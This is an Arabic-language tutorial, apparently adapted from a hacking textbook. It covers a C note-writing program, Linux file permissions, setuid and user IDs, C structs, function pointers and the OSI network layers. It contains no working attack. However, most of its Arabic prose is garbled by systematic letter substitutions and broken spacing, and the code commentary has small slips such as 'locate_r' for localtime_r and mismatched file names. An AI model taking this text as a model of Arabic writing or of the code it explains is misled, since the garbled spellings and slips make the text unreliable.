 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [83] 

يمكنك  .OR تسمى  standard logic gatesالوذي أحد  |يفصل بينهم  flagsتتكون من ثلاثة  المجموعة الأولى

 .. دلالاتهم لن نسيت flagsذه ال له الرجوع

 S_IRUSR | S_IWUSR: أمّا المجموعة الثانية قهي

 .Permissions في ققرة ال أيضاً  سنأتي لليهم

S_IRUSR Give the file read permission for the user (owner). 

S_IWUSR Give the file write permission for the user (owner). 

 

ن العَمَليات الثلاث:  ندَ قَشَل أي عَمَلية م  ظ أنهُ ع   ( )fatalسيقوم البرنامج بالانتقال للى  open, write, and closeلاح 

ج البرنامج. errorل تَظهَر لكَ رسالة  ب عَرض  ( )printfأمّا في الحالة الطبيعية قسيتم قَت ح الملَف وتقوم  ثُم  الخرُوج طار 

 .الخاص بِذه العملية fdل ا

كُر   ؟.file descriptor ال ذذاذل تَذ 

 

ن ال  stringل تَستَقب ل  ( )writeثُم  تأتي ال  ل  bufferم  ساب عَدَد أحرُق ها كَي يتسنى لها ك تابَت ها داط  وبالتالي سَتحتاج لح  

ساب عَدَد  bufferست قبال مُحتويات ال أُطرى ل تَقوم با Functionب استخدام  ( )writeالَملف، ذُنا سَتقوم ال  وح 

ه ال  ..الأحرُف ب ه ى  functionذَذ   .( )strlenتُسم 

 

يَ  functionثُم  تأتي لَنا ال  سالة، ( )closeالأطيرة ل تُغل ق الَملف، وذ  تام ر    :ل تَظهَر في الخ 

"note has been saved " 

نَ ال  freeثُم  عَمَل  نَ ال  datafileو  bufferل كُلٍ م  س الخاص بال . Heapم   .( )mainوَيتم غَلق القَو 

 



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [84] 

 ل نُشاذد النتائج:

reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c 

reader@hacking:~/booksrc $ ./simplenote 

Usage: ./simplenote <data to add to /tmp/notes> 

reader@hacking:~/booksrc $ ./simplenote "this is a test note" 

[DEBUG] buffer @ 0x804a008: 'this is a test note' 

[DEBUG] datafile @ 0x804a070: '/tmp/notes' 

[DEBUG] file descriptor is 3 

Note has been saved. 

reader@hacking:~/booksrc $ cat /tmp/notes 

this is a test note 

reader@hacking:~/booksrc $ ./simplenote "great, it works" 

[DEBUG] buffer @ 0x804a008: 'great, it works' 

[DEBUG] datafile @ 0x804a070: '/tmp/notes' 

[DEBUG] file descriptor is 3 

Note has been saved. 

reader@hacking:~/booksrc $ cat /tmp/notes 

this is a test note 

great, it works 

reader@hacking:~/booksrc $ 

reader@hacking:~/booksrc $ 
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File Permissions 

 

تَبَر ال نَ الأ file permissions يُع  مّة في أنظمة التشغيلم  نَ ال مور المهُ  التي يُمك نُنا دَمجها  flags. تَم  تَخصيص مَجموعَة م 

  ".OR"مَعاً باستخدام بَوابة 

مَة للى ثَ  flagsذذه ال  مين، كما يلي:لاث مَجموعات ل تُعطي صَلاحيات ل ثَلاثَة أنومُقس  نَ المُستَخد   اع م 

 
User (Owner) 

S_IRUSR Give the file read permission for the user (owner). 

S_IWUSR Give the file write permission for the user (owner). 

S_IXUSR Give the file execute permission for the user (owner). 

 

Group 
S_IRGRP Give the file read permission for the group. 

S_IWGRP Give the file write permission for the group. 

S_IXGRP Give the file execute permission for the group. 

 

Others 

S_IROTH Give the file read permission for other (anyone). 

S_IWOTH Give the file write permission for other (anyone). 

S_IXOTH Give the file execute permission for other (anyone). 

 

مين Linuxل كُل مَلف في ن ظام التشغيل  نَ الُمستخد  طَى ل ثلاثة أنواع م  نَ الصلاحيات التي تُع 
 :مَجموعة م 

Owner, Group, and Others 

ثال: د ذذا ب م   ل نُشاذ 

reader@hacking:~/booksrc $ ls -l /etc/passwd simplenote* 

-rw-/r--/r-- 1 root root 1424 2015-09-06 09:45 /etc/passwd 

-rwx/r-x/r-x 1 reader reader 8457 2015-09-07 02:51 simplenote 

-rw-/---/--- 1 reader reader 1872 2015-09-07 02:51 simplenote.c 

reader@hacking:~/booksrc $ 
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ظ أن  أول مَلف  ققط للى ال readو  ،ownerللى ال  "read and write"تَم  لعطاء صَلاحيات  etc/passwd/ نُلاح 

group،  وread  أيضاً للى الothers. 

 

، وب مُجرد لضاقتهم لليه، سَيَمتل كون صَلاحيات ذذا groupللى ذذا  users، قيُمك نُنا لضاقة  groupلذا قُمنا بتحديد 

group َقإذا كان ،!group  للAdmins  قَسَتُمنحَ صلاحيات الAdmin  ذَا ميع مَن يَنتمي له   .groupلج 

 

ح الصورة أكثر:ذَ  يّات كَي تتض  ثال آطَر يَت م ق يه  تَعديل الصلاح  د م   يّا نُشاذ 

reader@hacking:~/booksrc $ chmod 731 simplenote.c 

reader@hacking:~/booksrc $ ls -l simplenote.c 

-rwx/-wx/--x 1 reader reader 1826 2007-09-07 02:51 simplenote.c 

reader@hacking:~/booksrc $ chmod ugo-wx simplenote.c 

reader@hacking:~/booksrc $ ls -l simplenote.c 

-r--/---/--- 1 reader reader 1826 2007-09-07 02:51 simplenote.c 

reader@hacking:~/booksrc $ chmod u+w simplenote.c 

reader@hacking:~/booksrc $ ls -l simplenote.c 

-rw-/---/--- 1 reader reader 1826 2007-09-07 02:51 simplenote.c 

reader@hacking:~/booksrc $ 

 

ظ في السطر الأول أنهُ سَيعُطي تَصاريح للمَلف   كالتالي: chmodباستخدام الأمر  simplenoteلاح 

7 for the owner, 3 for Group, and 1 for Others 

 ذذه؟؟ 7ماذا تعني 

 :.. تأم ل ذذه الُمعادَلَةحَسَناً 

 ( 4 + 2 + 1 ) = 7 

Since 4 is read flag, and 2 is write flag, and 1 is the execute flag!, then the sum is 7 
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 ..؟Group المعطى لل 3والآن ما دلالة الرقم 

  .user,group,otherمنهم جميعا  executeو ال  writeفي الأمر الذي يليه، سيقوم بنزع صلاحيات ال ثم 

طَ صلاحية ال  ن الأساس للى كُلٍ من ال readلاحظ أنه لم تُع   . Group, and Other م 

 

 .User IDsسننتقل اللآن للى ال 

 

 

User IDs 

 

بعض  ذُناكَ  .Administrator Account حيث تعني أنهُ  id = 0 على root user ال يحصل ،Linuxنظام التشغيل  في

ن الوصول لل  نكُ م   . ( )getuidمثل  functionsباستخدام بعض ال  id 0الثغرات التي تُمكِّ

 الُمهم..

 

ر لك ال id لأمردعنا نشاذد مُرجات ا  لك: ةالمعطا id حيث يُظه 

reader@hacking:~/booksrc $ id matrix 

uid=500(matrix) gid=500(matrix) groups=500(matrix) 

reader@hacking:~/booksrc $ id root 

uid=0(root) gid=0(root) groups=0(root) 

reader@hacking:~/booksrc $ 

ب accountطول ب ثُم الد ،log outسنقوم بعمل  ل . user readerبال  ةقَتح أحَد الَملفات الخاص آطَر ونُجرِّ سَنحُاو 

ن قبل الذي كتبنا كود notesقتح مَلف ال  له م   .لضاقة الجُملة ب داط 

د النتائج:  ل نُشاذ 
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jose@hacking:/home/reader/booksrc $ 

jose@hacking:/home/reader/booksrc $ ls -l /tmp/notes 

-rw------- 1 reader reader 36 2007-09-07 05:20 /tmp/notes 

jose@hacking:/home/reader/booksrc $ ./simplenote "a note for jose" 

[DEBUG] buffer @ 0x804a008: 'a note for jose' 

[DEBUG] datafile @ 0x804a070: '/tmp/notes' 

[!!] Fatal Error in main() while opening file: Permission denied 

jose@hacking:/home/reader/booksrc $ cat /tmp/notes 

cat: /tmp/notes: Permission denied 

jose@hacking:/home/reader/booksrc $ exit 

exit 

reader@hacking:~/booksrc $ 

 

 

 etc/passwd/مثلًا ملف  .لنفس الملف أو لجراء تعديلات عليه؟ accessمل عَ ل   userولكن ماذا لو أراد أكثر من 

  .الخاص بكل منهم default shell ومنها ال usersيحتوي على بيانات ال 

 

 ؟Shell ماذذا ال

 user interface لقد كان ال.. Operating Systemليقوم بإرسالها للى ال  commandsلنه برنامج يستقبل منك 

سهل بعد ذالك لتُ  GUIظهرت ال  ثُم، UNIX في بدايات ظهور ال O.Sالتي تحقق التواصل بينك وبين ال  ةالوحيد

 بعض الأمور للا أنه لا غنى عنه!.

 

 حيث ذو الأقدم والأقضل، أيضاً يوجد عدة أنواع أطرى كال Bashذو ال  shellsالأشهر من ذذه ال 

ksh, tcsh, and zsh . 
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م ب أن يقوم ب تَغيير ال  linuxمايَهُمُنا ذُنا أن   ، ب مَعنى أنّهُ سَيَقوم default shell يُعطي الصلاحية لأي مُستَخد 
الخاص ب ه 

ل مَلف م( داط  م عادي ، etc/passwd/ بإجراء تعديل على السطر الخاص به )ذذا الُمستخد  قَكيفَ سَيقوم مُستَخد 

 .يل!دبإجراء ذذا التع

ى سنستخدم طاصية في النظام   ."Set User Id Permission"تُسم 

 !.”read, write, and execute permissions“ذل تتذكر ال 

 

Setuid  تُعتَبَرpermission ن ق بَل أَحَد ال ضاً نستطيع لضاقتها لأحد البرامجأي ، ولذا ما تم  استخدام ذذا البرنامج م 

users قإنه يتعامل مع ال O.S  بصلاحيات الroot . 

 

نقوم بكتابته في ال  ".chsh"الخاص ب ك!، لنه  shellسَنأتي للبرنامج الصَغير الذي يقوم بإجراء عملية التغيير ل نوع ال 

terminal ،َكَما ذُو chsh ،سَيأطُذ حينهَا ذَذا البرنامج id  َنُطل ق عليها ةومُؤقت ةجَديد ،“Effective id” ، كي يتسنى له

 اء التعديل.لجر

دَ الإنت هاء سَيَقوم ب العَودَ  يَ ال real id للى ال ةثُم  بَع   ب ك. ةالطَبيعية الخاَص   id وذ 

reader@hacking:~/booksrc $ which chsh 

/usr/bin/chsh 

reader@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd 

-rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd 

-rws/r-x/r-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh 

reader@hacking:~/booksrc $ 

 

 etc/passwd/ بينما غير موجود لدى ال chshلَدَى ال  ةيظهر في أول طان( (sكَما تَرى، حَرف ال 
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ه الخاصية لأي بَرنامج لديك باستخد  ."chmod u+s"ام الأمر يُمك نكَُ أيضاً تفعيل ذَذ 

 

ثال. ب ذذا ب م   ذَيا لنجُرِّ

ض لَنا ال  ى  functionب است خدام  effectve idو ال  real idمايلي كود صغير يَعر   ( )getuidتُسَم 

#include <stdio.h> 

int main() { 

printf("real uid: %d\n", getuid()); 

printf("effective uid: %d\n", geteuid()); 

} 

 

 uid.c سَنحَفَظ ذَذا الكود بإسم

 كمايلي: "reader"ذذا البرنامج الآن يَعمَل ب صلاحيات صَاحبه وذو اليوزر 

reader@hacking:~/booksrc $ ./uid  

real uid: 999 

effective uid: 999 

reader@hacking:~/booksrc $ 

 

 

 )أول طانة(. ownerيظهر في طانة ال  (،s)انتبه للحرف  (،chmod u+s)والآن سَنقَوم ب تنفيذ الأمر 

reader@hacking:~/booksrc $ sudo chmod u+s ./uid  

reader@hacking:~/booksrc $ ls -l uid_demo 

-rws/r-x/r-x 1 root root 6825 2007-09-07 05:32 uid  

reader@hacking:~/booksrc $ ./uid  

real uid: 999 

effective uid: 0 

reader@hacking:~/booksrc $ 

نُنا لضاقة ال  ،Sudo لاحظ استخدام الأمر  لهذا الملف. (Setuid permission)قَب دون ه  لَن يُمَكِّ
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 "..Structs"سننتقل الآن للى ال 

 

 

Structs 
 

 .؟Array ر الذكتذل تَ 

عة مع بعضها. قها بأنها عبارة عن مجموعة من العناصر من نفس النوع مُجتَم   كُن ا نُعرِّ

Array is collection of the elements of same type. 

 

ل نَفس مَفهوم ال  Structال  بار arrayيَحم   عَن مُتغير ةغَيَر أنهُ يُستَخدَم في حالات أكثر تَعقيداً، ذو في النهاية ع 

Variable،  َد ل ب داطله  مُتغيرات أُطرى مُتعدِّ ن نوع طاص!، حَيثُ أنهُ يَحم  ذات  variablesه أيضاً حَم ل ، ويُمك نُ ةلَك نّه م 

data types ةمُُتلف . 

 

 ؟ structقما ذو ال 

“Is a composition of the different variables of different data types, grouped under same name” 

 

رسةٍ ما، سَنقوم ب عَمَل  ةطَاص recordsقَمثلًا لو قَرَضنا أننا نَوَد تَخزين  ى structب طُلاب في مَد  ذذا ال  .record يُسَم 

struct  .راسية، تاريخ ميلاد الطالب، .. الخ نها لسم الطالب، السّنَة الد  ن أنواع مُُتلَ فَة.. م  ل ه  مُتَغيرات م  ل بداط  سَيَحم 

ه مُتَغيرات  ظ أن  كُل  ذَذ   .Recoed تَت بَع الُمتَغَيرِّ الأساسي ((membersلاح 
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Struct Record { 

          char name[64]; 

          char course[128]; 

          int age; 

          int year; 

  }; 

 

 لنعطي مثال آطر:

struct tm { 

   int         tm_sec;                /* seconds */ 

   int         tm_min;                /* minutes */  

   int         tm_hour;               /* hours */ 

   int         tm_mday;               /* day of the month */ 

   int         tm_mon;                /* month */ 

   int         tm_year;               /* year */ 

   int         tm_wday;               /* day of the week */ 

   int         tm_yday;               /* day in the year */ 

   int         tm_isdst;              /* daylight saving time */ 

}; 

 

نَ ال ،”Time“لطتصاراً لل  tmلسمه  structذذا ال  له  مَجموعة م   .variables يَحوي ب داط 

 .جيد!.. كيف نستخدمه؟

ن ذَذا ال  objectنقوم باشت قاق  ةفي الحقيق ثُم نَقوم بالتعامُل مَعَهُ ب كُل حُرّية، أيضاً يُمكننا اشتقاق أكثر من  structم 

object ن نَفس   .structال  ذذا م 

 

 .. بِذه الصورة يكون الأمر أكثر وضوحاً س
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ذ ،Struct كما تَرَى في الصورة، ذذا الدلو ذو ال فاته..  وذذا الشكل التُرابي قامَ ب أط  بالمعنى  نَفس شَكل الدلو، نفس ص 

وكما تعلم قإنه بإمكاننا اشتقاق  .Attributesأو  Elementsأو كما يُطل قُون عليها ، structالبرمَجي: يأطُذ مُحتويات ال 

  ".Struct"ال  ..من ذذا الدلو ةالترابي objectsأي عدد من ال 
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ب ذَذا الأمر ب بَرنامج صغير:  ذَيا نُجَرِّ

#include <stdio.h> 

#include <time.h> 

 

int main() { 

  long int seconds_since_epoch; 

  struct tm current_time, *time_ptr; 

  int hour, minute, second, day, month, year; 

   

  seconds_since_epoch = time(0); // Pass time a null pointer as argument. 

  printf("time() - seconds since epoch: %ld\n", seconds_since_epoch); 

   

  time_ptr = &current_time; // Set time_ptr to the address of the current_time struct. 

  localtime_r(&seconds_since_epoch, time_ptr); 

 

  // Three different ways to access struct elements: 
 

  hour = current_time.tm_hour;     // Direct access 

  minute = time_ptr->tm_min;       // Access via pointer 

  second = *((int *) time_ptr);    // Hacky pointer access 

   

  printf("Current time is: %02d: %02d: %02d\n", hour, minute,   

         second); 

} 

  

قنا  ، current_time object في بداية البرنامج قمنا باشتقاق نا ب عَمَل  .pointer *time_ptrثُم  عَر   declareأيضاً قُم 

رَجَ  ،( )timeبإسم  functionتَم  استخدام  .لأنه سَيَحوي عدد كبير! long intغَيرِّ لم ُتَ   ."time.h library"في  ةوذي مُد 

د ك functionتقوم ذذه ال   .1/1/1970 ذو base line بإرجاع لنا عدد الثواني المحسوبه منذ وقت مُحدَ 

ل  يحوي ذذا ال  current_time ووذ "address of our object"ال  يُشير للى pointer time_ptr الثُم  قُمنا ب جَع 

object  الelements في ال ةالموجودstruct tm  ةلَك نها قارغ!. 
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لتقوم بملأ ذذه ال  ( )localtime_rبإسم  functionسنستخدم ، بمعنى أننا سوف نَملأذا الآن variablesتذكر أنها 

variables بالتوقيت الحالي. 

ل تعرض لنا التوقيت الحالي بالساعات والدقائق والثواني، وذلك عن طريق استدعائهم من  ( )printfيراً نستخدم ثُم  أط

 بملئهم. ( )locate_rبعد أن قامت  objectذذا ال 

 ثواني.الثلاثة المكُونين للساعات والدقائق وال Elementsأثناء استدعائنا لكلٍ من ذذه ال  ةسنستخدم ثلاثة طُرُق مُُتل فَ 

 

 نستدعيه كما يلي:شهرذم الطريقة الأولى وذي أن أ object.strct_element  

 access to the hour element لعمل ”direct access“ ةقمنا باستخدام ذذه الطريقة والمسما

  الطريقة الثانية وذي الدطول باستخدام الpointer: 

 .objectعلناه يشير للى ال وج pointer time_ptrل  declareتذكر أننا قمنا بعمل 

 الذي نريده! ذنا اطترنا الدقائق! elementلنتمكن من الدطول الى ال  <- قسنقوم باستخدام الرمز

 (!ةوذي طريقة غير مُباشر) ةالطريقة الثالث: 

 ..ةأولاً ثم الأقواس الخارجي ةننتهي من الأقواس الداطلي ناأن رذك  تَ 

 كما يلي: له Castعن طريق عمل  integer pointer للى "time_ptr pointer"لقد قمنا بتحويل ال 

(int *) time_ptr 
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ر أن ال  "address of our object"يُشير للى  pointerذذا ال  بشكل عام لذا كان من نوع  pointerكما تعلم.. تَذَك 

int 4 قإنه يُشير للى أول bytes  من الaddress4 ة.. أليس كذلك؟ بمعنى أنه مساحت bytes 4 يَضع بِا أول 

bytes  من الaddress .الذي يشير لليه 

 الذي يُشير لليه قَسَنلُاحظ الآتي: objectولذا ألقينا نظرة على ذذا ال 

struct tm { 

   int         tm_sec;                    /* seconds */ 

لأن  ،structمن ال  bytes 4 ا تقع في أولبمعنى أنه، second ذي ال structالأولى في ال  elementلاحظ أن ال 

غل مساح structال  غَل!. variables!.. بل ال ةنفسه لا يَش   )*(ذذا رائع!!، ثُم قُمنا بوضع  بداطله ذي التي تَش 

 .int pointer لهذا ال dereferenceأطرى بالخارج لنقوم بعمل 

 

 لنرى معاً مُرجات ذذا الكود:

reader@hacking:~/booksrc $ gcc time_example.c 

reader@hacking:~/booksrc $ ./a.out 

time()  -  seconds since epoch:     1189311588 

Current time is:     04:19:48 

reader@hacking:~/booksrc $ ./a.out 

time()  -  seconds since epoch:     1189311600 

Current time is:     04:20:00 

reader@hacking:~/booksrc $ 

 

 

 

 



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [97] 

Function Pointers 

 

مات:ب نبدأس، لذا Pointersبال  ةالآن على دراية جيد نحن  الم ثال دون مُقد 

#include <stdio.h> 

 

int func_one() { 

   printf(“This is function one\n”); 

   return 1; 

} 

 

int func_two() { 

   printf(“This is function two\n”); 

   return 2; 

} 

 

int main() { 

   int value; 

   int (*function_ptr)(); 

 

   function_ptr = func_one;  

   printf(“function_ptr is 0x%08x\n”, function_ptr); 

   value = function_ptr(); 

   printf(“value returned was %d\n”, value); 

 

   function_ptr = func_two; 

   printf(“function_ptr is 0x%08x\n”, function_ptr); 

   value = function_ptr(); 

   printf(“value returned was %d\n”, value); 

} 

 

ذا القوس الفارغ  ه ال  ( )int func_oneب دايةً.. نَعن ي بِ   .Arguments لا تأطُذ أي functionأن  ذَذ 

نَ ال  ( )mainنأتي للى ال   : ةالعجيب pointersل نَرى ذذا النوع م 

int (*function_ptr)(); 
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  :لاحظ معي

ذذه ال  ... لأننا لم نُحددذا بعد!( )ذي ال ما و Functionيُشير للى  "function_ptr*"ذو .. pointerذذا ال 

Function  ع لنا قنا مُتغير  في الكود ذُنا. intوذي  integerمن نوع  data typeذات  valueستُرج   value intثُمّ عَر 

وذو " address of function"لتقوم ب عَرض ال  printf  ( )استخدمنا ال .function الخاص بال returnل نضع به ال 

ه ال  ".address of function"قَهُو يُشير للى ال . pointerال  هُ ذَذ  ض لَنا أيضاً ما سَتُنفذ  حيثُ تقوم ، functionوَسَتعر 

 .ةلَها ب نفَس الطريق callثُم لجراء  .( )func_twoققط!. ثُم جَعلناهُ يُشير مرةً أطرى للى ال  "return 1"ب ط باعة جُملة، و 

 

 لنُشاذد النتائج:

reader@hacking:~/booksrc $ gcc funcptr_example.c 

reader@hacking:~/booksrc $ ./a.out 

function_ptr is 0x08048374 

This is function one 

value returned was 1 

  

function_ptr is 0x0804838d 

This is function two 

value returned was 2 

reader@hacking:~/booksrc $ 

 

 .. الأول الباب نهايةللى  قَد وصلتَ ل ..بُ أن أُذن ئكأُح  

م لَكَ  ..!رائ ع لنجاز   لنهُ   . ةكاقأمُ دعني أُقد 
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ب، لدينا راعي أغنام ي يقفوا كما في الصورة أمام النهر، يريدون العبور  ةوذم الثلاثمتلك ذئب، وماعز، وبعض العُش 

 للجهة الأطرى.

دة مراحل!. ذذا الراعي لديه قارب صغير يُمكنه  ققط أطذ شيء واحد معه أثناء العبور!، مُا يعني أنهم سيعبُرون على ع 

ولكن انتبه!، لا يُفترض ترك الذئب مع الماعز حيثُ من الُمتوقع أن يأكُلها!، وفي نفس الوقت لا يُفترض أيضاً ترك 

 الماعز وحدذا مع العشب حيثُ من الُمتوقع أيضاً أن تلتهمه!.. 

قل الثلاثة للى الجهة الأطرى من النهر؟قكيف سنقوم بن
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ل ذذا اللغز!: ن أقكار لح   والآن ذيا ل نقَوم ب اطت بار ما قَدمته لَنا م 
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Part II 

Networking 
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Introduction 

 

 ..﴾لَ ل تعارقوا وقبائ  م شعوباً وجعلناك ﴿ قول الله تعالى في كتابه الكريم:ي
، تخيل ذلك ل بُرذة!، ثُم تخيل الشخص ذاته وذو يعيش في بلدٍ ما يل شخص يعيش وحيداً في جزيرةٍ ماذل يُمك نكُ تخ

مع بشر يتكلمون نفس لغته!، يتواصل مع الكثير منهم بشكل يومي، يقوم بمعاملات مُتلفة سواءً كانت اجتماعية أو 

 والثاني ذو نفس الشخص ولكن "،at rest"الشخصين واحد!، غير أن الأول ذو الشخص مادية. الفرق بسيط، قكلا 

"in dynamic.." ا التواصل ذذه الديناميكية سَتُضيفُ لهُ الكثير، قالشخص الثاني سيَتَكامَل وينمو بسبب ذذ

ديث أو تطوير!، لعلك له، بينما الآطر سيظل محله دون تح (Networking).. لنها ذدية ال والانفتاح على الآطرين

الاجتماعية وذذب  ةحيث يحكي قصة شاب ترك الحيا ”into the wild“اسمه  2007شاذدت قيلم تم انتاجه في عام 

وت، وكان حينها وحيداً ليعيش وحده بمعزل عن الناس.. وفي النهاية وبعد أن أصابه مرض الم "ألاسكا"الى غابات 

 بل الرحيل:له ق ة، قام بتدوين آطر عبارةفي الغاب

“Happiness within shared”  

 . يالهُ من قتىً مسكين!.ةثم اضجع قليلًا وقارق الحيا

 

ثلما تقوم اللغات بإثراء التعاملات بين الناس وتزيد من طبراتهم وقاعليتهم في الحيا ، أيضاً يُمك نُنا لسقاط ذلك على ةقَم 

انترنت؟ لن يَستخدمهُ أحد حينها!، ولكن بمجرد أن يتمكن ما قيمته بدون  ،(browser)برنامج بسيط مثل الُمتصفح 

.. حينها ستظهر ةفي كل مكان باستخدام بروتوكولات الإتصال المختلف web serversذذا الشيء من التواصل مع ال 

 !. أليس كذلك؟.ةقيمتهُ الحقيقي
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 ليصال طدماتها للىمن بيئة الشبكات كي تتمكن تعتمد على  Applicationsمن المعروف أن العديد من ال 

بقى في النهاية تولكن  applicationsربما تختلف أنواع البروتوكولات التي تعتمد عليها ذذه ال  ،end usersال 

 ".transport methods"آليات نقلها للبيانات! لهذه البروتوكولات في  ةالمشترك ةالعام سماتال

 

لتوضيح  "،Sockets"شبكات وبروتوكولاتها، ثُمّ الإنتقال للى ال سنقوم في ذذا الباب لنشاء الله بشرح أساسيات ال

 .C كيفية لنشائها واستخدامها في لغة الماذيتها، و

 

 ذيا بنا.. 
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The OSI Model 

 

 Network Communications Processبتقسيم ال  OSI Modelيقوم ذذا ال  

 .(Layers)للى طبقات 

!، قمثلاً لذا قرضنا أن  طبقةٍ ما ةالوظيف ذذه الطبقات تعتمد على بعضها في أداء

 ،Destination وظيفتها ذي ليصال رسالة للى ال، Transport Layerولتكن ال 

ل قستقوم بإعادة الإرسال. وبالنظر  ن أن  الرسالة وَصَلَت، ولذا لَم تَص  مع التأكد م 

د أنها تسير  Serviceللى ذذه ال  مة من ذذه الطبقة سَنجَ   كالآتي:الُمقُد 

نها وذي ال  م ، Network Layerالطبقة التي تقع أسفل م  أيضاً  Serviceتُقًدِّ

ققط، ستقوم بإيصال ال  Destinationللى ال  Sourceوذي حَم ل الرسالة من ال 

Packet  ن الوصول ولعلام ن مَكان للى مَكان آطر، بدون لجراء عملية التأكُد م  م 

ه وَظيفة الطَبَقة التي  أو لعادة الإرسال في، Sourceال 
حال حُدوث طَلل، قَهَذ 

 تَعلوذا!.

د ال  افي تقديم طَدَ ( Layer 3)على ال  (Layer 4)وبالتالي تَعتَم  ، وبالم ث ل.. ماته 

ه ال  د على ال  (Layer 3)ذَذ   packetفي لكمال عَمَلية ليصال ال  (Layer 2)سَتَعتَم 

 للى الطَرَف الآطَر..

  ”Service Block“ه بال وذذا ما نُطل ق علي
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 ..؟”Service Block“ما ذذا ال 

 لنهُ الإعتمادية بين الطبقات على بعضها البعض في أداء طدماتها. 

ه الطَبَقات السَبعَة:
 والآن.. سَنأطُذ ق كرة عامة عَن ذَذ 

 

 

Application Layer 

بَينهُ وبين جميع  Interfaceاعها، قهي تُعتَبَر ال بأنو Applicationsوتتمثل في ال  end userذذه الطبقة التي تَظهر لل 

 . ةمُتعلقات الشبكات الُمختلف

ب وذو المسؤول عن لرسال واستقبال طلبات عرض صفحات الو   HTTPقمثلًا يعمل في ذذه الطبقة بروتوكول ال 

 واقع الانترنت وذو الذي يقوم بترجمة عناوين م DNSعلى مُتصفحك، كما يعمل بِا أيضاً البروتوكول الشهير 

ن في قواعد بياناته جميع عناوين المواقع  "،bit Network Address-32"الى ال  "human-readable"من ال  حيث يُخَزِّ

  حول العالم. مواضع، وفي أجهزة ضخمة موزعة في عدة "ذَرَمية"لَها بطريقة  ةالُمناظ ر IP Addressesوال 

 .”Data or Message“بال  Layerذه ال في ذ packet informationيُطلَق على ال 

 

 

Presentation Layer 

ا يُعطيها الكفاءة  ،Applicationبلغة يمكن قرائتها للى طبقة ال  Dataذذه الطبقة مسؤولة عن عملية عرض ال  مُ 

ع القيام بذلك ليسَت الطبقة الوحيدة التي يُمك نهُا عمل التشفير وقكه، للا أنها تستطي ،Dataل تشفير أو قك تشفير ال 

 .Applicationsتبعاً لمتطلبات ال 
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Session Layer 

 التي يتم قتحها بين الأنظمة، قهي تقوم بِذه الوظائف:" Session"تقوم ذذه الطبقة بإدارة ال 

Establish, manage, and terminate the connection. 

 

 Graceful Shutdownوأيضاً عملية ال  ".Full-Duplex or Half"أيضاً تقوم بتحديد ما لذا سيكون نوع الاتصال 

 .Drop ةبدلاً من قطع الاتصال قجأ

 

 

Transport Layer 

 . Applicationsبين ال  Msgsتتلخص وظيفتها بنقل ال 

 قهي تقوم بالآتي:

"Transport the Application Layer’s Messages"  بين ال(Application End points) ،بالطبع بالاشتراك مع 

مها ال  يَ المسؤولة عَن ب دء ومُتابَعَة وغل ق قنوات الاتصال التي يَستَخد  .. ذذه Applicationالطبقات التي تليها.. قه 

 للى  "Destination End Point"ثم تقوم أيضاً ذذه الطبقة بإعطاء عناوين ال  ."Sockets"القنوات تُسمى 

 . Service Blockأوضحت لك في مثال ال  كي تتم عملية الإرسال الفعلية كما( Layer 3)ال 

 

 .UDPوالثاني  TCPالمهم.. يعمل في ذذه الطبقة نوعين من أذم البروتوكولات، الأول 

بمعنى أنه سيضمن لك وصول  Reliable Transferولكن يقدم طدمة ال  Transportيقوم بعملية ال  قالأول

لت به  ولعادة لرسال الرسالة لذا ما اعترضها أي  ،”Connection Oriented“الرسائل المرسلة وقق الترتيب الذي أُرس 
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ج الذي  Algorithmمانع من الوصول. وبالتالي قهو بطيء بعض الشيء حيث يعمل ب  معقدة قليلًا، يقوم المُبرم 

 .Applicationتبعاً لوظيفة ونوع ال  UDPأم ال  TCPبتحديد ما لذا كان سيعتمد على ال  Applicationيصمم ال 

 

ل، ولهذا يُطلق عليه  TCPوذو أقل تعقيداً من ال  UDPنأتي للى ال  حيث لن يضمن لك عملية التوصيل بشكل كام 

“Connectionless Protocol” بأن يُقلص ال  ةوذلك ل يعُطي لنفسه  الفُرصHeader ص به ل تكون عملية الخا

 . ةالإرسال سِيع

 .. ةبروتوكولات التي لابد أن تعمل بسُعة عاليمن ال DNSفي عمله، لأن ال  DNSيعتمد عليه ال 

 .”Segment“ذُنا  packetنُسَمّي ال 

 

 

Network Layer 

. لآطر hostمن " Network-Layer Packets"كبير بعض الشيء!، قهي تقوم بعملية نقل ال  Loadذذه الطبقة عليها 

للى ذذه  "Destination Address" و ال "Transport-Layer Segment"بإمرار ال  UDPأو ال  TCPحيث يقوم ال 

أثناء مسيرتها، ثُم الإنتهاء للى ال  ةمروراً بشبكات عديد Network Layer، ثم تبدأ من ذنا رحلة ال ةالطبق

Destination  ل يَتم ذُناك رقع الPacket  للى طبقة الTransport بال  ةالخاصDestination قهي .(The Network 

Layer) تَل م من هَ  Transport Layerال  تَس  هة الأطرى.. نُسَمّي ال  Transport Layerوتُسَلِّم للى ال  ةمن ج  في الج 

packet ةفي ذذه الطبق “Datagram”. 
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Data-Link Layer 

ها القيام بتوقير ال. Physical Networkذذه الطبقة مُتخصصه في نقل البيانات عبر ال  ن وَظائ ف   م 

Addressing Scheme دَم ل تعريف الأجهزة بنفسها داطل الشبكة، أو كما يقولون:ال  تي تُستَخ 

“Identifying Physical Devices”  مثل الMAC Address  الُمعطى للأجهزة والServers  داطل الشبكة، وتقوم

 لدارة في ةوبعض الأدوار المهُم "،error correction and flow control"أيضاً ببعض الوظائف كتصحيح الأططاء، 

 كمايلي: Data-Linkالإتصال على مستوى طبقة ال 

Active, maintain, and deactivate data-link connections 

 

ن  ذُنا  packetنُطلَق على ال  .WiFi وال  Ethernetالبعض البروتوكولات التي تعمل داطل ذذه الطبقة.. أمثلة م 

“Frame”. 
 

 

Physical Layer 

يَ تقوم ب توصيل ال ، Row-bit Streamع ال ذذه الطبقة تتعامل م للى أُطرى، والبروتوكولات  nodeمن  Bitsقَه 

د على نوع ال   الُمستَخدَمَة. " Transmission Medium"الُمستخدَمَة ذُنا تَعتَم 

  ا.وذكذ (Fiber optics)عَن ال  (Twisted-Pair copper wire)ب ال  ةقَمَثلًا تَختلَ ف طَبيعة الإرسال الخاص

 .!”Bits“عن  ةذنا عبار packetال 
